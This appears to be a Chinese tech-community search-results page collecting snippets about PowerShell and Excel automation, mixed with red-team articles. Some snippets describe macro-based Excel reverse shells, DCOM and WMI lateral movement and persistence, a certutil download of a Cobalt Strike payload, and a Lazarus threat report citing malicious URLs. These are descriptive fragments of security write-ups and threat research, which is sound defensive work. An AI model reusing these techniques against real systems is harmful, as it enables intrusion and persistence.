首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PowerShell实战:PowerShell使用ImportExcel模块轻松操作Excel

一、介绍ImportExcel模块可以理解为基于PowerShell环境操作Excel的强大类库,使用它可以在 Windows、Linux 和 Mac 上都可以使用。...另外比较好的一点是使用该模块允许用户无需安装微软的 Office 或者使用 COM 对象就能直接操作 Excel 文件,这样对于没有安装office的服务器也可以直接使用。...功能介绍Excel导入:通过 Import-Excel 命令,可以从 Excel 文件中导入数据到 PowerShell 中,转换成可以进一步处理的数据集(通常是以表格形式存在的 PSObject)。...Excel导出:利用 Export-Excel 命令,可以直接将 PowerShell 表格格式的数据输出到一个新的或已存在的 Excel 文件中,并且支持添加样式、冻结窗格、设置列宽等高级特性。...数据,命令如下: $BlogRankData3、导出包含图表的Excel脚本内容如下:#定义数据$BlogRankData = ConvertFrom-Csv @"博客名称,排名,访问量CSDN,1,120000000

1.8K20

Powershell快速入门(三) 实战应用

好像关于Powershell说的已经差不多了,所以最后一篇文章就来使用Powershell写一些脚本,帮助我们完成一些日常工作。 文件管理 常用命令 先来看看常用的文件管理命令。...首先,如果是比较简单的需求,可以使用?*通配符来搞定,问号用于匹配任意单个字符,星号用于匹配任意多个字符。比方说,我想要列出所有.md格式的文件,就可以使用下面的命令。...下面的代码做的就是将C#代码改写成Powershell脚本。...的数据,然后将其转换为文本并输出,每个数据之间使用制表符\t分隔,注意Powershell中的转义字符使用的这个特殊字符。...这里推荐使用Powershell ISE,因为自动补全可以显示所有类型的图标,只需要修改一下图表类型并观察Excel中图标类型的变化就可以明白类型和图标的对应关系了。

3.8K101
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    初探伪装在Office宏里的反弹Shell

    我们通过工具生成一个有powershelldownloader功能的一个excel,victim服务器打开此excel之后会从CC服务器下载并执行一个基于powershell的payload到本地的计算机后就可以通过...CC服务器当中的Metasploit操控Victim服务器。...在github下载一个powershell工具用于生成excel后门,这里使用了Generate-Macro一个评价很不错的小工具。...待用户执行了宏代码之后,会调用windows系统的当中的wmi拉起powershell进行下载并连接远程CC端。 关键代码如下: ? 可以在第一个powershell.exe的启动参数找到痕迹 ?...攻击者从远程获取恶意软件或者攻击负载powershell脚本经过混淆之后进行base64编码,对于检测这些攻击行为无论是静态扫描还是动态检测都造成了一定的难度。

    1.3K20

    一些xresloader(转表工具)的改进

    然后顺便也修复了 sample 里的 powershell 脚本,现在有 powershell-core 的情况下。跨平台脚本反而 powershell-core 能比较统一了。...增加protobuf插件 - org.xresloader.field_alias 可以设置字段别名并用于配置了验证器的excel数据中 这条是其他项目组提的需求,他们希望直接excel里配中文名,...增加protobuf插件 - org.xresloader.enum_alias 可以设置枚举项目的别名并用于配置了验证器的excel数据中 这条和上面一样,只是上面那条是针对message里的field...增加protobuf插件 - org.xresloader.field_ratio 可以设置字段放大倍数值,可用于需要转出整数类型的百分率/千分率/万分率,但excel中保留小数表达 这条是起源于我们项目组的一个需求...所以加入到批量导表的协议规范里了。

    78520

    人人都值得学一点PowerShell实现自动化(4)打开无穷无尽的轮子世界

    火热程度不及nuget,但其实从广义来说,nuget的轮子,都可以用到PowerShell上来,因为都是同样的dotNET库,PowerShell支持使用dotNET类库,只是有些麻烦,笔者也没兴趣太多研究...安装过程中,可能有些小意外,不要慌,一般来说,用管理员权限打开PowerShell更为合理,如果自己写脚本给自己用的话。...查看轮子有哪些的功能 作为一个搞数据的人,哪里都离不开Excel,本篇也重点给大家介绍一个不错的Excel轮子,其底层也是用了dotNET的EPPLUS轮子作封装的,让PowerShell上与Excel...随便找一句命令来试试手,Send-SQLDataToExcel,将数据库数据导出到Excel中来,数据库不限于Sqlserver,ACCESS、Excel也可以当数据库访问。...命令,再外加社区的轮子,有能力的话,还可以把dotNET社区里的轮子也一并使用起来,是不是非常爽了呢。

    1.4K30

    红队技巧-常规横向手法

    ,这时候就用schtasks命令来代替 还是老规矩上传脚本到服务器,或者你直接上传木马也行的。...3.WMI会建立一个共享文件夹,用于远程读取命令执行结果。 4.当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。...,允许管理员“配置WinRM并获取数据或管理资源” 是基于WinRM脚本API,而这个api使我们使能够从远程计算机执行WS-Management协议操作和获得数据。...ProgID不能保证是唯一的,并且与CLSID不同,并非每个类都与ProgID相关联。 AppID -该应用程序标识符用于指定一个的配置或多个COM对象与同一可执行相关联。...在powershell中我们可以使用 get-CimInstance来列出本地COM程序列表 远程DCOM对象的实例表现如下: 客户端计算机从远程计算机请求实例化由CLSID表示的对象。

    2.1K20

    通过Windows事件日志介绍APT-Hunter

    在短时间内调查多个服务器。 如果您没有太多时间进行深入调查,它会为您提供帮助。 免费的开源工具,将为您提供无限制的服务。 您可以将其用作过滤器把严重程度从百万个事件转换成数百个事件。...收集日志:用户可以手动收集CSV和EVTX格式的日志,也可以使用本文后面讨论的powershell脚本自动提取所需的日志。...基于严重性对事件进行分类,使过滤变得容易,并专注于重要的事件。 有一个日志收集自动化脚本来收集所有必需的日志,以节省导出重要日志所需的时间。...使用安全日志检测可疑的枚举用户或组的尝试 使用Powershell操作日志检测Powershell操作(包括TEMP文件夹) 使用Powershell操作日志使用多个事件ID检测可疑的Powershell...命令 使用Powershell日志使用多个事件ID检测可疑的Powershell命令 使用终端服务日志从袜子代理检测连接的RDP 使用终端服务日志从公共IP检测连接的RDP 从计算机Powershell

    1.5K20

    【JSA宏神助攻之一】FreeScript给数据分析工作者带来无限惊喜,在ExcelWPS环境上做专业数据分析不是梦

    在Excel/WPS环境下使用,可以无限降低用户的使用门槛,就如日常使用的Excel模板一样,只需要制作好一个R、python脚本,让用户可以根据自己的数据源及相关配置,使用Excel上的数据及交互方式...例如如下的demo,调用R脚本,生成图表,再使用VBA、JSA将生成的结果输出到Excel/WPS表格上呈现。 以下为历史内容: FreeScript再次起飞,增加VB.NET语言的支持。...最新突破,在C# /VB.NET /PowerShell上,都可以做到在脚本中获取到当前的Excel/WPS表格的Application对象模型。...有了Application对象模型,就不单单是让脚本来处理数据这么简单,只需要将特定的参数从VBA/JSA上传递给脚本获取,在脚本端直接将所有自动化流程做完都可以,包括但不限于增删工作薄、工作表,对单元格...[好文重发]Excel与python交互,将python的广阔数据分析领域能力接入Excel中 这一次,因着GPT时代的到来,Excel与python的结合,更简单了,可以直接开放Excel调用python

    21610

    【JSA神助攻之一】FreeScript给数据分析工作者带来无限惊喜,在ExcelWPS环境上做专业数据分析不是梦

    在Excel/WPS环境下使用,可以无限降低用户的使用门槛,就如日常使用的Excel模板一样,只需要制作好一个R、python脚本,让用户可以根据自己的数据源及相关配置,使用Excel上的数据及交互方式...例如如下的demo,调用R脚本,生成图表,再使用VBA、JSA将生成的结果输出到Excel/WPS表格上呈现。 以下为历史内容: FreeScript再次起飞,增加VB.NET语言的支持。...最新突破,在C# /VB.NET /PowerShell上,都可以做到在脚本中获取到当前的Excel/WPS表格的Application对象模型。...有了Application对象模型,就不单单是让脚本来处理数据这么简单,只需要将特定的参数从VBA/JSA上传递给脚本获取,在脚本端直接将所有自动化流程做完都可以,包括但不限于增删工作薄、工作表,对单元格...[好文重发]Excel与python交互,将python的广阔数据分析领域能力接入Excel中 这一次,因着GPT时代的到来,Excel与python的结合,更简单了,可以直接开放Excel调用python

    15010

    技术分享-持久性-WMI事件订阅

    从红队的角度来看,WMI 可用于执行多种活动,例如横向移动、持久性、态势感知、代码执行以及作为命令和控制(C2)。...然而,各种框架,如 Metasploit、Empire、PoshC2、PowerSploit 和多个 PowerShell 脚本和 C# 工具可用于自动化此技术,为代码执行提供不同的触发器和各种选项。...脚本的集合,其中包含用于通过 WMI 进行持久性的 PowerShell 脚本。...WMI-Persistence是另一个 PowerShell 脚本,它可以创建事件过滤器,在每次重新启动后 5 分钟内从远程位置执行基于 PowerShell 的有效负载。...Rahmat Nurfauzi开发了一个 PowerShell 脚本 ( WMI-Persistence ),它默认使用regsvr32方法执行任意命令,以便从远程服务器运行任意脚本。 .

    2.8K10

    Linux面试题整理

    8.2 把 Web 服务使用 www 用户启动,更改网站目录的所有者和所属组为 www 。 Shell 脚本是什么? 一个 Shell 脚本是一个文本文件,包含一个或多个命令。...cat 命令 cat 命令用于连接文件并打印到标准输出设备上。...-i 提示 -r 复制目录及目录内所有项目 -a 复制的文件与原文件时间一样 find 命令 用于在文件树中查找文件,并作出相应的处理。...-print: find命令将匹配的文件输出到标准输出。 -exec: find命令对匹配的文件执行该参数所给出的shell命令。...-i 忽略大小写 -l 只列出文件内容符合指定的样式的文件名称 -f 从文件中读取关键词 -n 显示匹配内容的所在文件中行数 -R 递归查找文件夹 grep 的规则表达式: ^  #锚定行的开始

    90010

    内网渗透测试:利用DCOM进行横向渗透

    使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。...以上这两种方法均适用于Windows 7~Windows 10、Windows Server 2008~Windows Server 2016的系统。...(3)调用Excel.Application远程执行命令 使用方法如下: # 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:$com = [activator...使用方法如下: # 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:$com = [activator]::CreateInstance([type]:...脚本 Impacket 里面提供的 dcomexec.py 脚本可以提供一个类似于 wmiexec.py 脚本的半交互式shell,但使用的是DCOM,目前支持MMC20.Application,ShellWindows

    2.7K20

    27个Linux文档编辑命令

    Linux colrm命令 Linux colrm命令用于滤掉指定的行。 colrm指令从标准输入设备读取书记,转而输出到标准输出设备。如果不加任何参数,则该指令不会过滤任何一行。...fmt指令会从指定的文件里读取内容,将其依照指定格式重新编排后,输出到标准输出设备。若指定的文件名为"-",则fmt指令会从标准输入设备读取数据。...Linux fold命令 Linux fold命令用于限制文件列宽。 fold指令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。...若不指定任何文件名称,或是所给予的文件名为"-",则fold指令会从标准输入设备读取数据。 Linux grep命令 Linux grep命令用于查找文件里符合条件的字符串。...Linux join命令 Linux join命令用于将两个文件中,指定栏位内容相同的行连接起来。 找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。

    2.3K60

    27个Linux文档编辑命令

    Linux colrm命令 Linux colrm命令用于滤掉指定的行。 colrm指令从标准输入设备读取书记,转而输出到标准输出设备。如果不加任何参数,则该指令不会过滤任何一行。...fmt指令会从指定的文件里读取内容,将其依照指定格式重新编排后,输出到标准输出设备。若指定的文件名为"-",则fmt指令会从标准输入设备读取数据。...Linux fold命令 Linux fold命令用于限制文件列宽。 fold指令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。...若不指定任何文件名称,或是所给予的文件名为"-",则fold指令会从标准输入设备读取数据。 Linux grep命令 Linux grep命令用于查找文件里符合条件的字符串。...Linux join命令 Linux join命令用于将两个文件中,指定栏位内容相同的行连接起来。 找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。

    3K60

    常见的windows下无文件落地攻击手法

    例如我们常见的 可以利用Windows自带的解析器: powershell(脚本解析器) 》》》powershell.exe(应用程序) VB.script(脚本解析器) 》》》cscript.exe(...与大多数接受并返回文本的 shell 不同,PowerShell 构建在 .NET 公共语言运行时 (CLR) 的基础之上,接受并返回 .NET 对象。...在实际的渗透环境中,我们也可以利用它来解决一些无法上传脚本的情况。 我们从微软文档中重点看一些对渗透/红队行动中帮助较大的一些东西 -dump 转储配置信息或文件。...cobalt strike生成一个ps1的恶意脚本并放在我们的payload下发服务器中 PS C:\Users\(123223Li)> certutil -urlcache -split -f http...不讨论免杀)并放在我们的playload下发服务器中 ?

    6.1K20

    Windows通过任务计划+PowerShell实现Git自动推送

    PowerShell 介绍 PowerShell 是由微软开发的一个命令行环境和脚本语言,也是一种跨平台的任务自动化解决方案,用于系统管理和配置管理,由命令行 shell、脚本语言和配置管理框架组成。...PowerShell 是在.NET公共语言运行时 (CLR) 上构建的,作为一种面向对象的脚本语言, 通常用于自动执行系统管理。 它还用于经常在 CI/CD 环境中生成、测试和部署解决方案。...PowerShell 脚本语言包含以下功能: 可通过函数、类、脚本和模块进行扩展 便于输出的可扩展格式系统 用于创建动态类型的可扩展类型系统 对常用数据格式(例如 CSV、JSON 和 XML)的内置支持...代码需要放置在项目的根路径下,会自动获取到脚本所在的路径,并对该路径下的代码进行 git add、git commit 和 git push,提交完后会保留执行日志。方便后续查看。...\gitpush.log } gitPush # 运行函数 调试powershell VScode 插件——PowerShell 小鱼使用VScode 和PowerShell插件来完成脚本的调试的。

    15010

    深度报告 | 揭秘朝鲜黑客组织Lazarus Group对加密货币的窃取手段

    temp\ PowerOpt.vbs,一旦此脚本被执行,将会从远程地址hxxp://158.69.57[.]135/theme.gif下载PowerShell命令,并保存为 C:\Users\Public...下载脚本,保存为 C:\ Users\Public\Pictures\opt.vbs,然后通过hxxp://198.100.157[.]239/theme.gif,获取Powershell脚本,并保存为...持久化文件appView.js中包含XOR编码的PowerShell脚本,用于从硬编码URL中检索Base64编码的PowerShell命令,如URL地址脚本hxxp://macintosh.linkpc...URL地址下载PowerShell脚本,并保存为C:/Windows/System32/WindowsPowerShell/v1.0/Examples/detail.ps1,最终会创建一个系统计划任务,...实现在启动菜单中植入恶意程序下载脚本;如果当前用户不是管理员权限,则会从硬编码URL地址中下载一个VB脚本,并保存到用户系统启动菜单中,如 PwdOpt.vbs或ProxyServer.vbs。

    2K90

    Excel催化剂功能第11波-快速批量插入图片并保留纵横比

    Excel自带插入图片功能,但操作步骤繁琐,插入图片后,还要一张张图片归位,插入的图片一般是用于可视化某些商品条码,增强阅读性。...视频演示 功能介绍 插入图片_图片来源于选定图片 此功能用于单个图片插入,从硬盘上选择要插入的单张图片,然后把图片插入到想放到的Excel单元格区域中(可多个单元格的矩形区域) 插入图片-选择文件...的图片名,把它查寻到并插入到Excel中,如果图片库里同时存在 abc.jpg、abcM20.jpg,最终我只想查找abc.jpg这张图,就要勾选精确查找文件名,不然可能会找到abcM20.jpg的图片...,并插入到Excel工作表中,和预期不相符。...,此时需要重新选择图片内容列需要插入图片的单元格,再重复上述的插入图片操作(因图片从硬盘到Excel工作表这个最耗时的步骤已经不需要,只是稍作调整图片位置,此步骤将比首次插入图片时要快得多,前提是不要对之前插入的图片进行删除操作

    1.3K30
    领券